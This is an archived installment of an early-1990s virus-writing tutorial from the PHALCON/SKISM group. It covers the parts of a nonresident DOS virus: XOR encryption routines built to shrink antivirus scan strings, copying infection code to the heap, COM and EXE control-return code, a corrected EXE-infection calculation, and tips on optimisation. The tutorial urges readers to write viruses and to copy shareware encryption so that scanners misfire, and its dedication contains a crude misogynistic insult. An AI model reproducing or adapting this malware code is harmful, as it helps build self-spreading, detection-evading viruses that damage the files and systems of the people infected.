Virus Writing Guide Part 3.

Prev || Home || Next

bar.gif (11170 bytes)

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
DISCLAIMER: I hereby claim to have written this
file.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
DEDICATION: This is dedicated to Patty Hoffman,
that fat bitch who doesn't know her own name,
and to the millions of dumb fools who were so
scared by Michelangelo that they didn't touch
their computers for an entire day.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
GREETS: to all PHALCON/SKISM members especially
Garbageheap, Hellraiser, and Demogorgon.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Dark Angel's Crunchy Virus Writing Guide
ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ
"It's the right thing to do"

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
INSTALLMENT III: NONRESIDENT VIRII, PART II
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Welcome to the third installment of my Virus Writing Guide. In the
previous installment, I covered the primary part of the virus - the
replicator. As promised, I shall now cover the rest of the nonresident
virus and present code which, when combined with code from the previous
installment, will be sufficient to allow anyone to write a simple virus.
Additionally, I will present a few easy tricks and tips which can help
optimise your code.

ÄÄÄÄÄÄÄÄÄÄÄÄÄ
THE CONCEALER
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
The concealer is the most common defense virus writers use to avoid
detection of virii. The most common encryption/decryption routine by far
is the XOR, since it may be used for both encryption and decryption.

encrypt_val dw ? ; Should be somewhere in decrypted area

decrypt:
encrypt:
mov dx, word ptr [bp+encrypt_val]
mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
lea si, [bp+part_to_encrypt_start]
mov di, si

xor_loop:
lodsw
xor ax, dx
stosw
loop xor_loop

The previous routine uses a simple XOR routine to encrypt or decrypt code
in memory. This is essentially the same routine as the one in the first
installment, except it encrypts words rather than bytes. It therefore has
65,535 mutations as opposed to 255 and is also twice as fast. While this
routine is simple to understand, it leaves much to be desired as it is
large and therefore is almost begging to be a scan string. A better method
follows:

encrypt_val dw ?

decrypt:
encrypt:
mov dx, word ptr [bp+encrypt_val]
lea bx, [bp+part_to_encrypt_start]
mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2

xor_loop:
xor word ptr [bx], dx
add bx, 2
loop xor_loop

Although this code is much shorter, it is possible to further reduce its
size. The best method is to insert the values for the encryption value,
BX, and CX, in at infection-time.

decrypt:
encrypt:
mov bx, 0FFFFh
mov cx, 0FFFFh

xor_loop:
xor word ptr [bx], 0FFFFh
add bx, 2
loop xor_loop

All the values denoted by 0FFFFh may be changed upon infection to values
appropriate for the infected file. For example, BX should be loaded with
the offset of part_to_encrypt_start relative to the start of the infected
file when the encryption routine is written to the infected file.

The primary advantage of the code used above is the minimisation of scan
code length. The scan code can only consist of those portions of the code
which remain constant. In this case, there are only three or four
consecutive bytes which remain constant. Since the entire encryption
consist of only about a dozen bytes, the size of the scan code is extremely
tiny.

Although the function of the encryption routine is clear, perhaps the
initial encryption value and calculation of subsequent values is not as
lucid. The initial value for most XOR encryptions should be 0. You should
change the encryption value during the infection process. A random
encryption value is desired. The simplest method of obtaining a random
number is to consult to internal clock. A random number may be easily
obtained with a simple:

mov ah, 2Ch ; Get me a random number.
int 21h
mov word ptr [bp+encrypt_val], dx ; Can also use CX

Some encryption functions do not facilitate an initial value of 0. For an
example, take a look at Whale. It uses the value of the previous word as
an encryption value. In these cases, simply use a JMP to skip past the
decryption routine when coding the virus. However, make sure infections
JMP to the right location! For example, this is how you would code such a
virus:

org 100h

start:
jmp past_encryption

; Insert your encryption routine here

past_encryption:

The encryption routine is the ONLY part of the virus which needs to be
unencrypted. Through code-moving techniques, it is possible to copy the
infection mechanism to the heap (memory location past the end of the file
and before the stack). All that is required is a few MOVSW instructions
and one JMP. First the encryption routine must be copied, then the
writing, then the decryption, then the RETurn back to the program. For
example:

lea si, [bp+encryption_routine]
lea di, [bp+heap]
mov cx, encryption_routine_size
push si
push cx
rep movsb

lea si, [bp+writing_routine]
mov cx, writing_routine_size
rep movsb

pop cx
pop si
rep movsb

mov al, 0C3h ; Tack on a near return
stosb

call [bp+heap]

Although most virii, for simplicity's sake, use the same routine for both
encryption and decryption, the above code shows this is completely
unnecessary. The only modification of the above code for inclusion of a
separate decryption routine is to take out the PUSHes and replace the POPs
with the appropriate LEA si and MOV cx.

Original encryption routines, while interesting, might not be the best.
Stolen encryption routines are the best, especially those stolen from
encrypted shareware programs! Sydex is notorious for using encryption in
their shareware programs. Take a look at a shareware program's puny
encryption and feel free to copy it into your own. Hopefully, the anti-
viral developers will create a scan string which will detect infection by
your virus in shareware products simply because the encryption is the same.

Note that this is not a full treatment of concealment routines. A full
text file could be written on encryption/decryption techniques alone. This
is only the simplest of all possible encryption techniques and there are
far more concealment techniques available. However, for the beginner, it
should suffice.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
THE DISPATCHER
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The dispatcher is the portion of the virus which restores control back to
the infected program. The dispatchers for EXE and COM files are,
naturally, different.

In COM files, you must restore the bytes which were overwritten by your
virus and then transfer control back to CS:100h, which is where all COM
files are initially loaded.

RestoreCOM:
mov di, 100h ; We are copying to the beginning
lea si, [bp+savebuffer] ; We are copying from our buffer
push di ; Save offset for return (100h)
movsw ; Mo efficient than mov cx, 3, movsb
movsb ; Alter to meet your needs
retn ; A JMP will also work

EXE files require simply the restoration of the stack segment/pointer and
the code segment/instruction pointer.

ExeReturn:
mov ax, es ; Start at PSP segment
add ax, 10h ; Skip the PSP
add word ptr cs:[bp+ExeWhereToJump+2], ax
cli
add ax, word ptr cs:[bp+StackSave+2] ; Restore the stack
mov ss, ax
mov sp, word ptr cs:[bp+StackSave]
sti
db 0eah ; JMP FAR PTR SEG:OFF
ExeWhereToJump:
dd 0
StackSave:
dd 0

ExeWhereToJump2 dd 0
StackSave2 dd 0

Upon infection, the initial CS:IP and SS:SP should be stored in
ExeWhereToJump2 and StackSave2, respectively. They should then be moved to
ExeWhereToJump and StackSave before restoration of the program. This
restoration may be easily accomplished with a series of MOVSW instructions.

Some like to clear all the registers prior to the JMP/RET, i.e. they issue
a bunch of XOR instructions. If you feel happy and wish to waste code
space, you are welcome to do this, but it is unnecessary in most instances.

ÄÄÄÄÄÄÄÄ
THE BOMB
ÄÄÄÄÄÄÄÄ

"The horror! The horror!"
- Joseph Conrad, The Heart of Darkness

What goes through the mind of a lowly computer user when a virus activates?
What terrors does the unsuspecting victim undergo as the computer suddenly
plays a Nazi tune? How awful it must be to lose thousands of man-hours of
work in an instant!

Actually, I do not support wanton destruction of data and disks by virii.
It serves no purpose and usually shows little imagination. For example,
the world-famous Michelangelo virus did nothing more than overwrite sectors
of the drive with data taken at random from memory. How original. Yawn.
Of course, if you are hell-bent on destruction, go ahead and destroy all
you want, but just remember that this portion of the virus is usually the
only part seen by "end-users" and distinguishes it from others. The best
examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt.
Don't forget the PHALCON/SKISM line, especially those by me (I had to throw
in a plug for the group)!

As you can see, there's no code to speak of in this section. Since all
bombs should be original, there isn't much point of putting in the code for
one, now is there! Of course, some virii don't contain any bomb to speak
of. Generally speaking, only those under about 500 bytes lack bombs.
There is no advantage of not having a bomb other than size considerations.

ÄÄÄÄÄÄÄÄÄ
MEA CULPA
ÄÄÄÄÄÄÄÄÄ
I regret to inform you that the EXE infector presented in the last
installment was not quite perfect. I admit it. I made a mistake of
colossal proportions The calculation of the file size and file size mod
512 was screwed up. Here is the corrected version:

; On entry, DX:AX hold the NEW file size

push ax ; Save low word of filesize
mov cl, 9 ; 2^9 = 512
shr ax, cl ; / 512
ror dx, cl ; / 512 (sort of)
stc ; Check EXE header description
; for explanation of addition
adc dx, ax ; of 1 to the DIV 512 portion
pop ax ; Restore low word of filesize
and ah, 1 ; MOD 512

This results in the file size / 512 + 1 in DX and the file size modulo 512
in AX. The rest remains the same. Test your EXE infection routine with
Microsoft's LINK.EXE, since it won't run unless the EXE infection is
perfect.

I have saved you the trouble and smacked myself upside the head for this
dumb error.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
TIPS AND TRICKS
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
So now all the parts of the nonresident virus have been covered. Yet I
find myself left with several more K to fill. So, I shall present several
simple techniques anyone can incorporate into virii to improve efficiency.

1. Use the heap
The heap is the memory area between the end of code and the bottom of
the stack. It can be conveniently treated as a data area by a virus.
By moving variables to the heap, the virus need not keep variables in
its code, thereby reducing its length. Note that since the contents
heap are not part of the virus, only temporary variables should be
kept there, i.e. the infection routine should not count the heap as
part of the virus as that would defeat the entire purpose of its use.
There are two ways of using the heap:

; First method

EndOfVirus:
Variable1 equ $
Variable2 equ Variable1 + LengthOfVariable1
Variable3 equ Variable2 + LengthOfVariable2
Variable4 equ Variable3 + LengthOfVariable3

; Example of first method

EndOfVirus:
StartingDirectory = $
TemporaryDTA = StartingDirectory + 64
FileSize = TemporaryDTA + 42
Flag = FileSize + 4

; Second method

EndOfVirus:
Variable1 db LengthOfVariable1 dup (?)
Variable2 db LengthOfVariable2 dup (?)
Variable3 db LengthOfVariable3 dup (?)
Variable4 db LengthOfVariable4 dup (?)

; Example of second method
EndOfVirus:
StartingDirectory db 64 dup (?)
TemporaryDTA db 42 dup (?)
FileSize dd ?
Flag db ?

The two methods differ slightly. By using the first method, you
create a file which will be the exact length of the virus (plus
startup code). However, when referencing the variables, size
specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always
be used or the assembler will become befuddled. Secondly, if the
variables need to be rearranged for some reason, the entire chain of
EQUates will be destroyed and must be rebuilt. Virii coded with
second method do not need size specifications, but the resulting file
will be larger than the actual size of the virus. While this is not
normally a problem, depending on the reinfection check, the virus may
infect the original file when run. This is not a big disability,
especially considering the advantages of this method.

In any case, the use of the heap can greatly lessen the effective
length of the virus code and thereby make it much more efficient. The
only thing to watch out for is infecting large COM files where the
heap will "wrap around" to offset 0 of the same segment, corrupting
the PSP. However, this problem is easily avoided. When considering
whether a COM file is too large to infect for this reason, simply add
the temporary variable area size to the virus size for the purposes of
the check.

2. Use procedures
Procedures are helpful in reducing the size of the virus, which is
always a desired goal. Only use procedures if they save space. To
determine the amount of bytes saved by the use of a procedure, use the
following formula:

Let PS = the procedure size, in bytes
bytes saved = (PS - 4) * number invocations - PS

For example, the close file procedure,

close_file:
mov ah, 3eh ; 2 bytes
int 21h ; 2 bytes
ret ; 1 byte
; PS = 2+2+1 = 5

is only viable if it is used 6 or more times, as (5-4)*6 - 5 = 1. A
whopping savings of one (1) byte! Since no virus closes a file in six
different places, the close file procedure is clearly useless and
should be avoided.

Whenever possible, design the procedures to be as flexible as
possible. This is the chief reason why Bulgarian coding is so tight.
Just take a look at the source for Creeping Death. For example, the
move file pointer procedure:

go_eof:
mov al, 2
move_fp:
xor dx, dx
go_somewhere:
xor cx, cx
mov ah, 42h
int 21h
ret

The function was build with flexibility in mind. With a CALL to
go_eof, the procedure will move the file pointer to the end of the
file. A CALL to move_fp with AL set to 0, the file pointer will be
reset. A CALL to go_somewhere with DX and AL set, the file pointer
may be moved anywhere within the file. If the function is used
heavily, the savings could be enormous.

3. Use a good assembler and debugger
The best assembler I have encountered to date is Turbo Assembler. It
generates tight code extremely quickly. Use the /m2 option to
eliminate all placeholder NOPs from the code. The advantages are
obvious - faster development and smaller code.

The best debugger is also made by Borland, the king of development
tools. Turbo Debugger has so many features that you might just want
to buy it so you can read the manual! It can bypass many debugger
traps with ease and is ideal for testing. Additionally, this debugger
has 286 and 386 specific protected mode versions, each of which are
even more powerful than their real mode counterparts.

4. Don't use MOV instead of LEA
When writing your first virus, you may often forget to use LEA instead
of MOV when loading offsets. This is a serious mistake and is often
made by beginning virus coders. The harmful effects of such a
grevious error are immediately obvious. If the virus is not working,
check for this bug. It's almost as hard to catch as a NULL pointer
error in C.

5. Read the latest issues of 40Hex
40Hex, PHALCON/SKISM's official journal of virus techniques and news,
is a publication not to be missed by any self-respecting virus writer.
Each issue contains techniques and source code, designed to help all
virus writers, be they beginners or experts. Virus-related news is
also published. Get it, read it, love it, eat it!

ÄÄÄÄÄÄ
SO NOW
ÄÄÄÄÄÄ
you have all the code and information sufficient to write a viable virus,
as well as a wealth of techniques to use. So stop reading and start
writing! The only way to get better is through practise. After two or
three tries, you should be well on your way to writing good virii.

bar.gif (11170 bytes)

Prev || Home || Next